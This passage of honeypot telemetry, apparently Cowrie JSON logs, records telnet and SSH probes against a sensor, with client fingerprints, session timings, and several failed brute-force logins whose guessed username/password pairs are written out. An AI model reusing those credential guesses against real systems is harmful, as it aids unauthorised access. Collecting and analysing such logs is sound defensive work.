{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35168,"dst_ip":"159.203.135.109","dst_port":23,"session":"25b2d143fe94","protocol":"telnet","message":"New connection: 209.126.87.217:35168 (159.203.135.109:23) [session: 25b2d143fe94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:31.936826Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47390,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c9725932f7","protocol":"telnet","message":"New connection: 172.233.212.110:47390 (10.17.0.5:23) [session: 52c9725932f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:32.165988Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47400,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e6c91c24fbe","protocol":"telnet","message":"New connection: 172.233.212.110:47400 (10.17.0.5:23) [session: 7e6c91c24fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:32.238064Z"}
{"eventid":"cowrie.session.closed","duration":39.00895047187805,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:32.639270Z","src_ip":"139.162.207.207","session":"503b071caea9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35336,"dst_ip":"159.203.135.109","dst_port":22,"session":"a166155827d3","protocol":"ssh","message":"New connection: 159.203.92.129:35336 (159.203.135.109:22) [session: a166155827d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:33.656192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:33.661359Z","src_ip":"159.203.92.129","session":"a166155827d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:33.691315Z","src_ip":"159.203.92.129","session":"a166155827d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abc.123","message":"login attempt [ansible/abc.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:33.795745Z","src_ip":"159.203.92.129","session":"a166155827d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":56768,"dst_ip":"10.17.0.5","dst_port":23,"session":"07359a217671","protocol":"telnet","message":"New connection: 172.233.212.110:56768 (10.17.0.5:23) [session: 07359a217671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:33.862001Z"}
{"eventid":"cowrie.session.closed","duration":32.14893054962158,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:33.959321Z","src_ip":"172.233.212.110","session":"06a2d9b597d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:34.803174Z","src_ip":"159.203.92.129","session":"a166155827d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":56780,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c450a8fa4c9","protocol":"telnet","message":"New connection: 172.233.212.110:56780 (10.17.0.5:23) [session: 1c450a8fa4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:39.323710Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33694,"dst_ip":"159.203.135.109","dst_port":23,"session":"8175c6bda5f2","protocol":"telnet","message":"New connection: 209.126.87.217:33694 (159.203.135.109:23) [session: 8175c6bda5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:42.364258Z"}
{"eventid":"cowrie.session.closed","duration":31.333863496780396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:44.085976Z","src_ip":"172.233.212.110","session":"584da4268be8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.69348669052124,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:44.913981Z","src_ip":"139.162.207.207","session":"491f70e23a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56934356689453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:46.335832Z","src_ip":"172.233.212.110","session":"b767810e4400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50804,"dst_ip":"10.17.0.5","dst_port":23,"session":"51b072e48dd4","protocol":"telnet","message":"New connection: 172.233.212.110:50804 (10.17.0.5:23) [session: 51b072e48dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:46.658988Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33710,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc40ef4823e5","protocol":"telnet","message":"New connection: 209.126.87.217:33710 (159.203.135.109:23) [session: bc40ef4823e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:49.275691Z"}
{"eventid":"cowrie.session.closed","duration":30.621992588043213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:50.092402Z","src_ip":"172.233.212.110","session":"3823e3f391b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50818,"dst_ip":"10.17.0.5","dst_port":23,"session":"2312f40b8589","protocol":"telnet","message":"New connection: 172.233.212.110:50818 (10.17.0.5:23) [session: 2312f40b8589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:50.454539Z"}
{"eventid":"cowrie.session.closed","duration":32.75259280204773,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:52.518627Z","src_ip":"172.233.212.110","session":"6ccbbb1eb7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":34002,"dst_ip":"10.17.0.5","dst_port":22,"session":"465c7076a03d","protocol":"ssh","message":"New connection: 45.43.86.48:34002 (10.17.0.5:22) [session: 465c7076a03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:52.683652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:52.787381Z","src_ip":"45.43.86.48","session":"465c7076a03d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:52.887450Z","src_ip":"45.43.86.48","session":"465c7076a03d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50456,"dst_ip":"10.17.0.5","dst_port":23,"session":"838007639a3f","protocol":"telnet","message":"New connection: 172.233.212.110:50456 (10.17.0.5:23) [session: 838007639a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:53.208090Z"}
{"eventid":"cowrie.session.closed","duration":35.5528724193573,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:53.637598Z","src_ip":"209.126.87.217","session":"9bc3111e1a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31709575653076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:53.782778Z","src_ip":"209.126.87.217","session":"203314820728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83573079109192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:54.029160Z","src_ip":"172.233.212.110","session":"51bbfc2a71ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50458,"dst_ip":"10.17.0.5","dst_port":23,"session":"6499f81da845","protocol":"telnet","message":"New connection: 172.233.212.110:50458 (10.17.0.5:23) [session: 6499f81da845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:54.968343Z"}
{"eventid":"cowrie.session.closed","duration":32.287797927856445,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:55.297709Z","src_ip":"139.162.207.207","session":"fd0b362ad203","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.279887199401855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:55.336282Z","src_ip":"172.233.212.110","session":"55f64104adf4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test-123","message":"login attempt [test/test-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:55.789706Z","src_ip":"45.43.86.48","session":"465c7076a03d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":38522,"dst_ip":"159.203.135.109","dst_port":23,"session":"056335da7e3b","protocol":"telnet","message":"New connection: 209.126.87.217:38522 (159.203.135.109:23) [session: 056335da7e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:56.172001Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":38936,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca230da4d6df","protocol":"ssh","message":"New connection: 125.31.2.160:38936 (10.17.0.5:22) [session: ca230da4d6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:56.739756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:56.744833Z","src_ip":"125.31.2.160","session":"ca230da4d6df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.577959060668945,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:56.915462Z","src_ip":"139.162.207.207","session":"56189b6d2a58","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:56.963107Z","src_ip":"125.31.2.160","session":"ca230da4d6df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.457189083099365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:57.091480Z","src_ip":"172.233.212.110","session":"96500299032c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:57.180918Z","src_ip":"45.43.86.48","session":"465c7076a03d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.993335008621216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:57.309206Z","src_ip":"172.233.212.110","session":"db6c49d993b2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer789456","message":"login attempt [root/qwer789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:57.869524Z","src_ip":"125.31.2.160","session":"ca230da4d6df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.832898139953613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:58.239799Z","src_ip":"172.233.212.110","session":"477e12817c49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50476,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a514764ecb7","protocol":"telnet","message":"New connection: 172.233.212.110:50476 (10.17.0.5:23) [session: 0a514764ecb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:58.980966Z"}
{"eventid":"cowrie.session.closed","duration":31.86972212791443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:59.011587Z","src_ip":"172.233.212.110","session":"0551543a5d96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:59.092015Z","src_ip":"125.31.2.160","session":"ca230da4d6df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50460,"dst_ip":"10.17.0.5","dst_port":23,"session":"60e902edf6a3","protocol":"telnet","message":"New connection: 172.233.212.110:50460 (10.17.0.5:23) [session: 60e902edf6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:59.685305Z"}
{"eventid":"cowrie.session.closed","duration":40.28493642807007,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:00.134026Z","src_ip":"139.162.207.207","session":"5a5430cfd4c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84990382194519,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:00.418452Z","src_ip":"209.126.87.217","session":"c4a93a488e00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943235158920288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:00.622118Z","src_ip":"172.233.212.110","session":"bd72fa85803c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50484,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f7088d80815","protocol":"telnet","message":"New connection: 172.233.212.110:50484 (10.17.0.5:23) [session: 6f7088d80815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:00.709902Z"}
{"eventid":"cowrie.session.closed","duration":31.340811252593994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:01.215352Z","src_ip":"172.233.212.110","session":"33ac4fa877fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50488,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8abd1d90fff","protocol":"telnet","message":"New connection: 172.233.212.110:50488 (10.17.0.5:23) [session: c8abd1d90fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:01.445661Z"}
{"eventid":"cowrie.session.closed","duration":30.989004850387573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:02.925691Z","src_ip":"209.126.87.217","session":"25b2d143fe94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.26249170303345,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:03.372380Z","src_ip":"172.233.212.110","session":"474bd8a854cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.914137601852417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:04.079986Z","src_ip":"172.233.212.110","session":"52c9725932f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97926926612854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:04.217191Z","src_ip":"172.233.212.110","session":"7e6c91c24fbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":52720,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a9481a343bf","protocol":"telnet","message":"New connection: 172.233.212.110:52720 (10.17.0.5:23) [session: 3a9481a343bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:05.234935Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":52726,"dst_ip":"10.17.0.5","dst_port":23,"session":"a35783034a5d","protocol":"telnet","message":"New connection: 172.233.212.110:52726 (10.17.0.5:23) [session: a35783034a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:07.342310Z"}
{"eventid":"cowrie.session.closed","duration":33.62667894363403,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:07.488573Z","src_ip":"172.233.212.110","session":"07359a217671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":52752,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb693b8b1598","protocol":"telnet","message":"New connection: 172.233.212.110:52752 (10.17.0.5:23) [session: eb693b8b1598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:08.502892Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":52742,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d043c599d9","protocol":"telnet","message":"New connection: 172.233.212.110:52742 (10.17.0.5:23) [session: 76d043c599d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:08.884626Z"}
{"eventid":"cowrie.session.closed","duration":32.558016777038574,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:11.881585Z","src_ip":"172.233.212.110","session":"1c450a8fa4c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.588393211364746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:13.952512Z","src_ip":"209.126.87.217","session":"8175c6bda5f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37234,"dst_ip":"159.203.135.109","dst_port":22,"session":"f870694c3ca4","protocol":"ssh","message":"New connection: 159.203.92.129:37234 (159.203.135.109:22) [session: f870694c3ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:16.347967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:16.354102Z","src_ip":"159.203.92.129","session":"f870694c3ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@ope